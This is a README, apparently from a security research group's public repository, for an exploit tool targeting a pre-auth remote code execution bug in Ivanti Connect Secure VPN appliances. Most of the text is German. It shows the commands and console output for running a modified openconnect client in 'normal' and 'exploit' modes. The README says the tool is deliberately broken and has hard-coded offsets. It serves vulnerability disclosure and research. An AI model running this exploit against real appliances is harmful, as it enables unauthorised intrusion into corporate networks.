watchtowrlabs/cve-2025-0282Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
Dieses Tool ist absichtlich auf nicht-triviale Weise fehlerhaft und erfordert Mühe, um wie in unserem früheren Blogpost zur Ausnutzungstechnik beschrieben zu funktionieren.
Um diese Schwachstelle zu verstehen, können Sie sich unsere technische Ausarbeitung ansehen.
Exploitation Walkthrough und Techniken – Ivanti Connect Secure RCE (CVE-2025-0282)
Der Code arbeitet in zwei Modi:
Beginnen Sie, indem Sie den Code im „Normalen“ Modus ausführen. Wenn Sie eine Passwortabfrage erhalten, zeigt dies an, dass das Ziel funktionsfähig ist. Wechseln Sie anschließend in den „Exploit“-Modus. Wenn Sie die Meldung „Failed to complete authentication“ sehen, könnte das Ziel anfällig sein. Beachten Sie, dass der Exploit-Code fest codierte Adressen und Offsets enthält, die Sie ändern müssen, damit er mit Ihrem genehmigten Ziel funktioniert.
MODE=normal ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Enter user credentials:
Password:
MODE=exploit ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4
__ .__ ___________
__ _ _______ _/ |_ ____ | |_\__ ___/_____ _ _________
\ \/ \/ /\__ \\ __\/ ___\| | \| | / _ \ \/ \/ /\_ __ \
\ / / __ \| | \ \___| Y \ |( <_> ) / | | \/
\/\_/ (____ /__| \___ >___| /____| \____/ \/\_/ |__|
\/ \/ \/
(*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
- Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])
CVEs: [CVE-2025-0282]
Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found
Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Failed to read from TLS/DTLS socket: Error in the pull function.
Failed to complete authentication
[!] Target might be vulnerable
Dieser Exploit wurde geschrieben von Sina Kheirkhah (@SinSinology) von watchTowr (@watchtowrcyber)
openconnect-Projekt, auf dem dieser Code basiert
Für die neueste Sicherheitsforschung folgen Sie dem watchTowr Labs Team